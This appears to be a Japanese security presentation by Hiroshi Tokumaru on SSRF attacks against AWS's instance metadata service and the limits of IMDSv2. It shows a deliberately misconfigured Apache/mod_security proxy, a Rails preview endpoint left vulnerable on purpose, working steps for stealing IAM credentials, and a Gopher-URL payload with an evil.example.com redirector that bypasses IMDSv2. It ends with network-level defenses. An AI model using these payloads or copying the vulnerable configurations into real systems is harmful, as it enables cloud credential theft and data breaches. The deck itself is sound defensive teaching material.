SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方

SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
EGセキュアソリューションズ株式会社
代表取締役徳丸浩

アジェンダ
• IMDSとは?
• Capital Oneの事例
• 脆弱なWAFに対するSSRF攻撃
• IMDSv2の説明と効果
• ブックマークアプリのプレビュー機能に対するSSRF攻撃
• IMDSv2を回避するGopherプロトコルによる攻撃
• IMDSv2の効果と限界のまとめ
• 対策
© 2020 Hiroshi Tokumaru 2

徳丸浩の自己紹介
• 経歴
– 1985年京セラ株式会社入社
– 1995年京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍
– 2008年 KCCS退職、HASHコンサルティング株式会社(現社名:EGセキュアソリューションズ株式会社)設立
• 経験したこと
– 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当
– その後、企業向けパッケージソフトの企画・開発・事業化を担当
– 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当
Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始
– 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立ち上げ
• 現在
– EGセキュアソリューションズ株式会社代表 https://www.eg-secure.co.jp/
– 株式会社グレスアベイル社外取締役 https://www.gresavail.com/
– 独立行政法人情報処理推進機構非常勤研究員 https://www.ipa.go.jp/security/
– 著書「体系的に学ぶ安全なWebアプリケーションの作り方第2版」
(2018年6月21日)
「徳丸浩のWebセキュリティ教室」(2015年10月)
– 技術士（情報工学部門）
3© 2020 Hiroshi Tokumaru

EC2 IMDS(IMDSv1)とは
• Instance MetaData Service
• Amazon EC2 の仮想エンドポイント
http://169.254.169.254/
• アクセス元の設定情報
（Instance MetaData）を返す
• 外部からはIMDSにはアクセス
できないので設定情報はもれない
…はず
• PUBLIC IPv4を取得する例
$ curl http://169.254.169.254/latest/meta-data/public-ipv4
18.217.170.163$
EC2インスタンス IMDS
EC2
169.254.169.254
仮想的な
エンドポイント
インスタンスの
設定情報

第1部：Capital Oneの大規模な情報漏えい

SSRF攻撃によるCapital Oneの個人情報流出についてまとめてみた - piyolog
2019年7月29日、米金融大手 Capital Oneは不正アクセスにより1億人を超える個人情報が流出したと発表しまし
た。WAFの設定ミスに起因して、Server Side Request Forgery（SSRF）攻撃を許したことにより情報を盗まれた
と見られています。ここでは関連する情報をまとめます。
Capital Oneによる公式発表
• Information on the Capital One Cyber Incident（米国向け）
• Information on the Capital One Cyber Incident（カナダ向け）
• Frequently Asked Questions
（１）影響範囲
影響が及んだ人数の内訳は以下の通り。
発表時点でCapital Oneは流出した情報が外部へ出回ることや、詐欺への使用は確認していない。
クレジットカード番号、ログイン情報は侵害されていない。
6
米国約1億人
カナダ約600万人
https://piyolog.hatenadiary.jp/entry/2019/08/06/062154 より引用

攻撃の模様
7
Apache+mod_security
リバースプロキシとして構成
AWS
EC2
Amazon
S3
169.254.169.254
（IMDSのエンドポイント）
SSRF攻撃により
ISRM-WAF-Role
にアクセス
ISRM-WAF-Role
S3
個人情報などを保管
 WAFの設定ミスを悪用したSSRF攻撃
 HostヘッダにIMDSエントリを指定
 設定ミスの詳細は明らかにされていない。
 1億人を超える被害者が出た。
© 2020 Hiroshi Tokumaru

なぜ攻撃を受けたか
• S3ストレージに大量の個人情報を保存
• S3ストレージのアクセス権がWAFのインスタンスに付与され
ていた
• WAFがオープンPROXYになっていた（予想）
• IMDSが無効化されていなかった

Capital One仕様の脆弱なWAFの作り方

Apacheでリバースプロキシとmod_securityを導入
# 以下はAmazon Linux上のでの操作
# Apacheとmod_security、CRS（ルール）をインストール
$ sudo yum install httpd mod_security mod_security_crs
$ vi /etc/httpd/conf.d/reverseproxy.conf
$ sudo systemctl restart httpd
ProxyRequests On
<VirtualHost *:80>
ServerName hadena.tokumaru.org
ProxyPass /error ! # エラーページ用
ProxyPass / http://172.31.XXX.XXX:3000/
ProxyErrorOverride On
ProxyPassReverse / http://172.31.XXX.XXX:3000/
</VirtualHost>
Ruby on Railsによる
アプリケーションサーバー（後述）

mod_securityによるWAFの概要
11
Apache+mod_security
Webサーバーリバースプロキシとして構成
AWS
EC2

先の設定だとオープン・プロキシに
Apache+mod_security
EC2
ProxyRequests On のせい
GET https://twitter.com/ HTTP/1.1
Host: twitter.com
GET / HTTP/1.1
Host: twtter.com

13https://httpd.apache.org/docs/2.4/ja/mod/mod_proxy.html より引用
警告
サーバを安全にするまで ProxyRequests は有効にしないで
ください。オープンプロキシサーバはあなた自身のネット
ワークにとっても、インターネット全体にとっても危険です。

試してみよう! WAFをブラウザのプロキシとして設定
リバースプロキシのIPアドレス

オープン・プロキシとして利用できた便利!
15

オープン・プロキシを通してIMDSにアクセスする
オープン・プロキシ IMDS
EC2
169.254.169.254
設定情報
GET http://169.254.169.254/...
設定情報

単にIPアドレスを指定するとブロックされるが…

mod_securityがブロックしていた
Apache-Error: [file "apache2_util.c"] [line 273] [level 3] [cli
ent 221.246.230.61] ModSecurity: Access denied with code 403 (p
hase 2). Pattern match "^[d.:]+$" at REQUEST_HEADERS:Ho
st. [file "/etc/httpd/modsecurity.d/activated_rules/modsecurity
_crs_21_protocol_anomalies.conf"] [line "98"] [id "960017"] [re
v "2"] [msg "Host header is a numeric IP address"] [data "169.2
54.169.254"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [matu
rity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/IP_
HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI
/6.5.10"] [tag "http://technet.microsoft.com/en-us/magazine/200
5.01.hackerbasher.aspx"] [hostname "169.254.169.254"] [uri "htt
p:/169.254.169.254/"] [unique_id "XkKBvsG@i7@6ZJTFMv@7yAAAAAA"]
HostヘッダがIPアドレス

適当なホスト名に169.254.169.254を設定すれば突破可能

IAMロールのクレデンシャルも、ほれ

AWS-CLIを素の環境にインストールしてクレデンシャルをセット
$ # AWS-CLI をインストール
$ mkdir ~/.aws; cd ~/.aws
$ vi ~/.aws/credential
$ cat ~/.aws/credential
[ssrf]
aws_access_key_id = ASIAXXXXXXXXXXXXXXXD
aws_secret_access_key = N1XZ6XXXXXXXXXXXXXXXXXXXXXXXX
aws_session_token = "IQoJb3JpZ2luX2VjEXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
…
XXXXXXXXXXXX="

S3バケットにアクセス(1)
$ aws s3 --profile ssrf ls
2020-02-09 20:38:18 hadena-bookmark
$ aws s3 --profile ssrf ls s3://hadena-bookmark/
2020-02-11 15:27:08 3961 2020-01-31-001.log
…
2020-02-11 15:30:33 2490 2020-02-09-001.log
$ aws s3 --profile ssrf cp s3://hadena-bookmark/2020-02-09-
001.log .
download: s3://hadena-bookmark/2020-02-09-001.log to ./2020
-02-09-001.log
$

S3バケットに保存されたログを表示
$ cat 2020-02-09-001.log
2020/2/9 00:11:39,4689,175.93.231.93,KANAKO HARADA,431293,3590483413538693,1120
2020/2/9 01:57:34,3834,210.13.159.11,HIOSHI TOKUMARU,53150,1234567890123450,0318
2020/2/9 02:13:20,3778,183.11.41.34,TARO YAMADA,160699,2345678901234501,0720
2020/2/9 02:23:53,7261,19.135.31.93,KOICHI TAKEDA,188199,3456789012345012,1217
2020/2/9 03:21:35,3778,208.59.213.93,JIRO UCHIDA,311207,4567890123450123,0120
2020/2/9 03:43:19,3927,105.34.205.91,SABURO TANAKA,329293,5678901234501234,1018
2020/2/9 04:43:17,3927,135.91.203.25,HANAKO TAKAHASHI,499707,6789012345012345,0918
……
2020/2/9 20:13:20,3778,183.11.41.34,TARO YAMADA,160699,2345678901234501,0721
2020/2/9 21:23:53,7261,19.135.31.93,KOICHI TAKEDA,188199,3456789012345012,1219
2020/2/9 22:21:35,3778,208.59.213.93,JIRO UCHIDA,311207,4567890123450123,0122
2020/2/9 23:11:39,4689,175.93.231.93,KANAKO HARADA,431293,3590483413538693,1120
2020/2/9 23:43:19,3927,105.34.205.91,SABURO TANAKA,329293,5678901234501234,1021
$

攻撃の模様（再掲）
24
Apache+mod_security
AWS
EC2
Amazon
S3
169.254.169.254
（IMDSのエンドポイント）
SSRF攻撃により
ISRM-WAF-Role
にアクセス
ISRM-WAF-Role
S3
個人情報などを保管
 WAFの設定ミスを悪用したSSRF攻撃
 HostヘッダにIMDSエントリを指定
 設定ミスの詳細は明らかにされていない。
 1億人を超える被害者が出た。

IMDSv2の説明

IMDSv2とは?
• v2へのアクセスには事前に取得したTokenを必須とする
– TokenはPUTで取得する必要がある
– Tokenリクエスト時に有効期限(秒)を設定できる
– Tokenはヘッダに入れてリクエストする必要がある
• v1を無効化できる(デフォルトでは併用可能)
• メタデータサービス自体を無効化できる
• EC2インスタンスを立ち上げる際にv2のみに設定することをIAMで強
制することができる
• X-Forwarded-ForヘッダーがあるリクエストにTokenを発行しない
• メタデータレスポンスのTTLを短くし複数ホストを経由した取得を防
止できる
26
クラスメソッド臼田氏のブログ記事より引用 https://dev.classmethod.jp/cloud/aws/ec2-imdsv2-release/

IMDSv2のみを有効化（IMDSv1を無効化）する
$ aws ec2 modify-instance-metadata-options --instance-id i-
0dxxxxxxxxxxxxxxxx --http-tokens required --http-endpoint
enabled
{
"InstanceId": "i-0xxxxxxxxxxxxxx",
"InstanceMetadataOptions": {
"State": "pending",
"HttpTokens": "required",
"HttpPutResponseHopLimit": 1,
"HttpEndpoint": "enabled"
}
}

IMDSv2 トークン取得の方法
$ curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 3600" "http://1
69.254.169.254/latest/api/token"
AQAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXlpg==

トークンを用いてメタデータを取得する
$ curl -H "X-aws-ec2-metadata-token: AQAAAA-…lpg==" http://169.254.169.2
54/latest/meta-data/iam/security-credentials/hadena
{
"Code" : "Success",
"LastUpdated" : "2020-02-12T03:49:08Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAXXXXXXXXXXXXXT",
"SecretAccessKey" : "/+LcPtXXXXXXXXXXXXXXXXXXXXXXXXXX",
"Token" : "IQoJb3JpZ2luXXXXXXXXXXXXXXXX … XXXXXXXXXXXXXXXXXX==",
"Expiration" : "2020-02-12T09:55:59Z"
}

X-Forwarded-Forヘッダをつけるとエラーになる
$ curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-m
etadata-token-ttl-seconds: 3600" -H "X-Forwarded-For: 203.0.113.1"
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>403 - Forbidden</title>
</head>
<body>
<h1>403 - Forbidden</h1>
</body>
</html>

IMDSv2の効果まとめ
• PUTメソッドを用いてトークン取得
• X-aws-ec2-metadata-token-ttl-secondsヘッダが必要
• X-Forwarded-Forヘッダがあるとエラーになる
• 「Capital One仕様の脆弱なWAF」の場合
– PUT メソッド … mod_securityでエラーに
– X-aws-ec2-metadata-token-ttl-secondsヘッダ付与可能
– X-Forwarded-Forヘッダ自動的に付与 → エラーに
• 【結論】IMDSv2 はオープンリバースプロキシからのSSRF攻撃対策と
して一定の効果がある

第2部：ブックマークアプリのプレビュー機能
のSSRF脆弱性

プレビュー機能でのSSRF攻撃
はてなブックマークのようなソーシャルブックマークの機能のうち、URLを指定してプレビューを
表示するというもの(Ruby on Rails)。題して「派手なブックマーク」
class BookmarkController < ApplicationController
def index
c = Curl::Easy.new(params[:url])
c.follow_location = true
c.http_get
s = c.body_str
s.force_encoding("UTF-8");
render html: Sanitize.clean(s, Sanitize::Config::RELAXED).html_safe
end
end
※ 本サンプルはスキームやURLのチェックを一切行っていないため、SSRF脆弱
有害なタグを取り除く処理

プレビュー機能の様子
http://hadena.tokumaru.org/?url=https://blog.tokumaru.org/

プレビュー機能でのSSRF攻撃（IMDSv1）
http://hadena.tokumaru.org/?url=http://169.254.169.254/

mod_securityがブロックしていた
Message: Access denied with code 403 (phase 2). Pattern match "
^(?i)(?:ht|f)tps?://(d{1,3}.d{1,3}.d{1,3}.d{1,
3})" at ARGS:url. [file "/etc/httpd/modsecurity.d/activated_rul
es/modsecurity_crs_40_generic_attacks.conf"] [line "154"] [id "
950117"] [rev "2"] [msg "Remote File Inclusion Attack"] [data "
Matched Data: http://169.254.169.254 found within ARGS:url: htt
p://169.254.169.254/"] [severity "CRITICAL"] [ver "OWASP_CRS/2.
2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/WEB_ATTACK/
RFI"]
URLがRFI (Remote File Inclusion)のルールに抵触

IPアドレスの代わりにホスト名にするとWAFを回避できる
http://hadena.tokumaru.org/?url=http://imds.example.jp/
ホスト名にしたらどうか?

クレデンシャルも、ほれ
http://hadena.tokumaru.org/?url=http://imds.example.jp/latest/meta-data/iam/security-credentials/hadena

IMDSv2での攻撃に関する検討
• PUTメソッドを用いてトークン取得
• X-aws-ec2-metadata-token-ttl-secondsヘッダが必要
• X-Forwarded-Forヘッダがあるとエラーになる
• 「派手なブックマーク」の場合
– PUT メソッド … PUTメソッドの指定は困難そう
– X-aws-ec2-metadata-token-ttl-secondsヘッダ付与できなさそう
– X-Forwarded-Forヘッダ付与されない → これはOK
• IMDSv2 の突破は困難なように見える
• それ、Gopherでできるよ!

Gopherプロトコルとは
Gopher（ゴーファー）とは、インターネットがテキストベース
(文字情報主体)のネットワークであった1991年に、アメリカ合
衆国のミネソタ大学が開発したテキストベースの情報検索シス
テム。
1993年頃から本格的になったWWWの普及や、Gopherそのもの
が日本語などマルチバイト文字環境に対応していなかったため、
2013年1月現在はほとんど使われていない。
https://ja.wikipedia.org/wiki/Gopher より引用
40

Gopherの例
• 以下で待受しておく
$ nc -l 8888
• 別ターミナルで以下を実行
$ curl gopher://localhost:8888/_Hello%0d%0aHiroshi%20Tokumaru%0d%0a
• 以下が表示される
$ nc -l 8888
Hello
Hiroshi Tokumaru
Response ← この行はResponse 改行 Ctrl-d を手入力したもの
• curl呼び出し後以下が表示される
$ curl gopher://localhost:8888/_Hello%0d%0aHiroshi%20Tokumaru%0d%0a
Response
$

GopherでHTTPをエミュレートできる
• 以下を実行すると…
$ curl gopher://169.254.169.254:80/_PUT%20/latest/api/tok
en%20HTTP/1.1%0D%0AHost:%20169.254.169.254%0D%0AX-aws-ec2
-metadata-token-ttl-seconds:%203600%0D%0A%0D%0A
• 以下が169.254.169.254に送信される
PUT /latest/api/token HTTP/1.1 [改行]
Host: 169.254.169.254 [改行]
X-aws-ec2-metadata-token-ttl-seconds: 3600 [改行]
[改行]
• GopherプロトコルでPUTメソッドとカスタムヘッダを実現できる

攻撃してみよう!
http://hadena.tokumaru.org/?url=gopher://169.254.169.254:80/_PUT%2520/lat
est/api/token%2520HTTP/1.1%250D%250AHost:%2520169.254.169.254%250D…
これはトークンだが、インスタンスメタデータ
も同様に取得可能

URLのスキームをバリデーションすれば?
def index
url = params[:url]
uri = URI.parse(url)
if uri.scheme != 'http' && uri.scheme != 'https'
render html:'Invalid scheme'+ uri.scheme
return
end
c = Curl::Easy.new(url)
# 以下略
※ スキームをHTTPおよびHTTPSのみ許可する

リダイレクタによる攻撃
• 外部のサイトにリダイレクタを設置する
<?php
header('Location: gopher://169.254.169.254:80/_PUT%20/l
atest/api/token%20HTTP/1.1%0D%0AHost:%20169.254.169…
evil.example.com
IMDS(169.254.169.254)
WebサーバーWAF
?url=http://evil.example.com

GopherプロトコルによりIMDSv2のトークンが取得できた

対策
• ネットワーク的な保護
URLの完全な検証は難しいので、ネットワーク的な保護も有効です。以下は、AWS
のドキュメントで推奨されている iptables の設定例。
これにより、「docker0 ブリッジのコンテナがコンテナインスタンスのロールに指
定されている権限にアクセスするのを防止できます」としている。iptablesによる設
定は環境依存なのでご注意を。
sudo iptables --insert FORWARD 1 --in-interface docker+ --destinatio
n 169.254.169.254/32 --jump DROP
Amazon ECS コンテナインスタンスの IAM ロール - Amazon Elastic Container
Service より引用

IMDS自体が必要ない場合は無効化する
$ aws ec2 modify-instance-metadata-options --instance-id i-
0d095e1ae9ffac3c3 --http-endpoint disabled
{
"InstanceId": "i-0d095e1ae9ffac3c3",
"InstanceMetadataOptions": {
"State": "pending",
"HttpTokens": "required",
"HttpPutResponseHopLimit": 1,
"HttpEndpoint": "disabled"
}
}

IMDSを無効化すると、IMDS要求時に403が返る
$ curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-
ec2-metadata-token-ttl-seconds: 3600"
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>403 - Forbidden</title>
</head>
<body>
<h1>403 - Forbidden</h1>
</body>
</html>

まとめ
• 脆弱なWAFの作り方
• 脆弱なWAFに対するSSRF攻撃
• IMDSv2の説明と効果
• ブックマークアプリのプレビュー機能に対するSSRF攻撃
• IMDSv2を回避するGopherプロトコルによる攻撃
• IMDSv2の効果と限界
• ネットワーク的な防御を推奨

SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方

More Related Content

What's hot (20)

More from Hiroshi Tokumaru (20)

Recently uploaded (20)

SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方